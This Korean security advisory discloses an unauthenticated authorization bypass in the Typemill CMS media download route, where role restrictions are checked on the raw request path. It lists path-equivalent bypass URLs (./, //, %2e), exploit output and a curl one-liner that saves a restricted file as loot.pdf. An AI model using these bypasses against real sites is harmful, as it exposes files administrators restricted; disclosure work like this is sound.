
Typemill 미디어 다운로드에서 경로 동등 URL 변형을 사용하여 역할별 제한 파일에 접근하는, 인증되지 않은 권한 부여 우회에 대한 Advisory 및 PoC입니다.
제한은 원시 요청 경로를 기준으로 적용되며, 파일은 OS가 해석한 경로에서 읽힙니다 — 둘은 서로 일치하지 않습니다
한눈에 보기 · 요약 · 근본 원인 · 공격 체인 · 익스플로잇 · 수정 방법 · 타임라인
| CVE ID | CVE-2026-71518 |
| 제품 | typemill/typemill — Typemill (flat-file PHP CMS, Slim 4) |
| 영향받는 버전 | 모든 버전 < 2.26.0 (2.25.0, 커밋 8f3901c에서 검증됨) |
| 수정된 버전 | 2.26.0 |
| 약점 | CWE-863 (잘못된 권한 부여) · CWE-639 (사용자 제어 키를 통한 권한 부여 우회) |
| CVSS v3.1 | 7.5 — 높음 · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — 높음 |
| 공격 벡터 | 네트워크 · 인증 불필요 · 사용자 상호작용 없음 |
| 영향 | 관리자가 권한 있는 역할로 제한한 미디어 파일의 비인증 다운로드 |
| 연구자 | Ilhomjon Rustamov (@IlhomjonR) |
Typemill은 관리자가 media/files/filerestrictions.yaml을 통해 개별 미디어 파일을 특정 사용자 역할로 제한할 수 있게 합니다. 공개 다운로드 라우트는 이 제한을 준수해야 하지만, 원시 요청 경로를 기준으로 제한을 확인하면서 실제 바이트는 파일시스템에서 해석된 경로에서 제공합니다. 동일한 파일에는 여러 경로 동등 표기(./name, //name, %2e/name)가 존재하므로, 공격자는 제한 키와 일치하지 않지만 디스크에서 동일한 파일로 여전히 해석되는 변형을 선택합니다.
이 라우트에는 인증 미들웨어가 없으므로, 결과적으로 역할에 명시적으로 잠긴 파일을 완전히 비인증 상태로 다운로드할 수 있습니다.
다운로드 라우트는 공개입니다 — 이 라우트에는 인증 미들웨어가 없습니다:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
system/typemill/Controllers/ControllerWebDownload.php 내부에서 접근 제어 결정과 파일 읽기는 동일한 경로의 서로 다른 두 표현을 사용합니다:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate()는 리터럴 .. 시퀀스만 거부합니다 — ./ 또는 //는 정규화하지 않으며, 퍼센트 인코딩된 동등 표현도 거부하지 않습니다. 따라서 제한 키와 실제로 읽히는 파일이 서로 어긋나게 됩니다:
| 요청 경로 | 제한 키 일치? | 디스크에서 해석된 파일 | 결과 |
|---|---|---|---|
/media/files/secret.pdf | ✅ 예 | secret.pdf | 🔒 차단됨 (302 → 로그인) |
/media/files/./secret.pdf | ❌ 아니오 | secret.pdf | 🟢 제공됨 (200) |
/media/files//secret.pdf | ❌ 아니오 | secret.pdf | 🟢 제공됨 (200) |
/media/files/%2e/secret.pdf | ❌ 아니오 | secret.pdf | 🟢 제공됨 (200) |
이 버그는 "권한 부여 결정과 리소스 접근이 공격자가 제어할 수 있는 서로 다른 문자열을 기준으로 삼는" 전형적인 패턴(CWE-639/CWE-863)입니다. $_SERVER['REQUEST_URI']도 Apache에서는 원시 상태로 유지되므로, 특정 서버에만 국한된 문제가 아닙니다.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]
filerestrictions.yaml에서 특정 역할로 제한합니다.exploit/exploit.py는 로컬 테스트 컨테이너에서 이 문제를 엔드투엔드로 재현합니다. (1) "admin"이 editor 역할로 제한된 비공개 파일을 배치하고, (2) 정식 URL이 익명 사용자에게 차단되는지 확인한 다음, (3) 각 경로 동등 변형을 통해 동일한 파일을 다운로드합니다.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
예상 출력:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
취약한 호스트를 대상으로 하는 원라이너 (승인된 테스트 전용):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath()로 경로를 해석하고 미디어 기본 디렉터리 내 포함 여부를 확인하며, 퍼센트 인코딩된 경로 구분자를 거부합니다.| 날짜 | 이벤트 |
|---|---|
| 2026-08-04 | Typemill 2.25.0에서 취약점 발견; Docker에서 PoC 엔드투엔드 검증 |
| 2026-08-04 | 유지보수자 / VulnCheck에 보고 |
| — | Typemill 2.26.0에서 수정됨 |
| 2026-08-18 | CVE-2026-71518 공개; 권고 + PoC 공개 |
승인된 보안 테스트 및 교육 목적으로만 사용하세요. © @IlhomjonR